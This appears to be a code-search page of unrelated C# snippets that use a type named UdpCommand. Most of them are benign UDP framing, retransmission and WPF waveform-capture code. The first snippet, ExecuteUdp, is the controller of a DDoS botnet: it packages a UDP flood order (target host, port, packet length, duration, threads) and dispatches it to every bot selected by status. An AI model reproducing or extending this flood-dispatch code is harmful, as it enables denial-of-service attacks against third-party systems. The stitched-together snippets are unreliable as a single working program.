public async Task <IActionResult> ExecuteUdp(UdpModel model)
        {
            var method = new BaseCommands
            {
                Method = "Udp"
            };
            var Variables = new UdpVariables
            {
                Port   = model.Port,
                Length = model.Length
            };
            var FloodModel = new Server.Commands.BaseFloodModel
            {
                Host         = model.Host,
                Time         = model.Time,
                ThreadstoUse = model.ThreadstoUse,
            };
            var Command = new UdpCommand
            {
                newUdpVariables   = Variables,
                newBaseCommand    = method,
                newBaseFloodModel = FloodModel
            };
            var bots = new GetBotsByStatusQuery
            {
                status = model.Force
            };
            var botlist = await _mediator.Send(bots);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", ""));

            return(Json(response));
        }
예제 #2
0
        public void Poll()
        {
            lock (_commandQueue)
            {
                while (_commandQueue.Count > 0)
                {
                    UdpCommand command = _commandQueue.Dequeue();
                    switch (command)
                    {
                    case UdpCommand.Connect:
                        byte[] connectionData = _dataQueue.Dequeue();
                        OnConnectionAccepted?.Invoke(connectionData);
                        break;

                    case UdpCommand.Disconnect:
                        OnDisconnect?.Invoke();
                        break;

                    case UdpCommand.Data:
                        byte[] data = _dataQueue.Dequeue();
                        OnDataReceived?.Invoke(data);
                        break;

                    default:
                        throw new ArgumentOutOfRangeException();
                    }
                }
            }
        }
예제 #3
0
 public UdpFrame(int pSeq, UInt16 seq, UInt16 len, UdpCommand cmd, byte[] data)
 {
     PackageSeq = pSeq;
     Seq        = seq;
     Command    = cmd;
     Data       = data;
     Length     = len;
     IsProxy    = false;
     UDPData    = GetUdpPack();
 }
예제 #4
0
        protected async Task Handle(UdpCommand udpCommand)
        {
            using (var socket = new UdpClient())
            {
                var uri = new Uri($"udp://{udpCommand.Address}");

                socket.Connect(uri.Host, uri.Port);
                socket.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.Broadcast, 0);
                await socket.SendAsync(udpCommand.Body, udpCommand.Body.Length);
            }
        }
예제 #5
0
 public DisPlayWindow()
 {
     InitializeComponent();
     HMainWindow = this;
     Dataproc.PreGraphEventHandler   += OnWorkGraph;              // Work波形事件处理方法连接到事件
     Dataproc.OrigGraphEventHandler  += OnOrigGraph;              // Orig波形事件处理方法连接到事件
     Dataproc.DelayGraphEventHandler += OnDelayWaveGraph;         // Delay波形事件处理方法连接到事件
     _dataFile   = new DataFile();                                //本地保存文件相关
     UdpCommand  = new UdpCommand();                              //用于收发Udp命令
     ConstUdpArg = new ConstUdpArg();                             //获取Udp指令
     led_normaldata.FalseBrush = new SolidColorBrush(Colors.Red); //正常工作指示灯
 }
예제 #6
0
        public UdpPackage(UdpCommand command, Reliability reliability, ulong token, byte[] payload)
        {
            if (payload == null)
            {
                payload = new byte[0];
            }

            Command           = command;
            Reliability       = reliability;
            ConfirmationToken = token;
            Payload           = payload;
            Length            = 1 + 1 + payload.Length + sizeof(ulong);
        }
        public UdpPackage(byte[] data, int packageID, int len, UInt16 proxyId, EndPoint target, bool isText)
        {
            UInt16 fseq = 0;

            Data       = data;
            Target     = target;
            CreateTime = DateTime.Now;
            PackageID  = packageID;
            UdpCommand cmd = UdpCommand.Data;

            if (isText)
            {
                cmd = UdpCommand.Text;
            }
            if (data == null || data.Length == 0)
            {
                UdpFrame frame = new UdpFrame(packageID, fseq, 0, cmd, data, proxyId);
                Add(frame);
            }
            else
            {
                int    curPos = 0;
                UInt16 flen   = (UInt16)Math.Ceiling((double)data.Length / (double)len);
                while (true)
                {
                    int l = len;
                    if ((curPos + l) >= data.Length)
                    {
                        l = data.Length - curPos;
                    }
                    byte[] fdata = new byte[l];
                    Array.Copy(data, curPos, fdata, 0, l);
                    UdpFrame frame = new UdpFrame(packageID, fseq, flen, cmd, fdata, proxyId);
                    Add(frame);
                    fseq++;

                    curPos += len;
                    if (curPos >= data.Length)
                    {
                        break;
                    }
                }


                //UdpFrame f = this[this.Count - 1];
                //if (f.Data != null)
                //{
                //    logger.Trace("最后一帧大小:{0} {1} {2}", f.PackageSeq, f.Seq, f.Data.Length);
                //}
            }
        }
예제 #8
0
 public UdpFrame(int pSeq, UInt16 seq, UInt16 len, UdpCommand cmd, byte[] data, UInt16 proxyID)
 {
     PackageSeq = pSeq;
     Seq        = seq;
     Command    = cmd;
     Data       = data;
     Length     = len;
     if (proxyID > 0)
     {
         IsProxy = true;
         ProxyID = proxyID;
     }
     UDPData = GetUdpPack();
 }
예제 #9
0
        private void SendData(IPEndPoint endPoint, UdpCommand command, byte[] data, Reliability reliability)
        {
            int        pos        = 0;
            ulong      token      = reliability == Reliability.Reliable ? GenerateConfirmationToken() : 0;
            UdpPackage udpPackage = new UdpPackage(command, reliability, token, data);

            byte[] datagram = new byte[udpPackage.Length];

            udpPackage.ToByteArray(datagram, pos);
            pos += udpPackage.Length;

            if (reliability == Reliability.Reliable)
            {
                Retransmission retransmission = new Retransmission(endPoint, datagram, token, RetransmissionCount);
                lock (_retransmissionQueue)
                {
                    _retransmissionQueue.Add(retransmission);
                }
            }

            _udpClient.Send(datagram, datagram.Length, endPoint);
        }
예제 #10
0
        void Button_Click(object sender, RoutedEventArgs e)
        {
            try
            {
                UdpCommand udpCommand = new UdpCommand();
                udpCommand.SwitchWindow(ConstUdpArg.SwicthToNormalWindow);
                if (NormWaveData == null)
                {
                    NormWaveData = new UdpWaveData();
                    NormWaveData.StartReceiveData(ConstUdpArg.Src_NormWaveIp);
                    btn_normalstart.Content = "停止";
                    NormWaveData.StartRcvEvent.Set();
                }
                else if (NormWaveData != null || NormWaveData.IsBuilded)
                {
                    NormWaveData.Dispose();
                    NormWaveData = null;
                    graph_normalTime.Dispatcher.Invoke(() =>
                    {
                        graph_normalTime.DataSource = 0;
                        graph_normalTime.Refresh();
                    });
                    graph_normalFrequency.Dispatcher.Invoke(() =>
                    {
                        graph_normalFrequency.DataSource = 0;
                        graph_normalFrequency.Refresh();
                    });


                    btn_normalstart.Content = "启动";
                }
            }
            catch
            {
                Console.WriteLine(@"正常工作波形采集失败...");
                MessageBox.Show(@"正常工作波形采集失败...");
            }
        }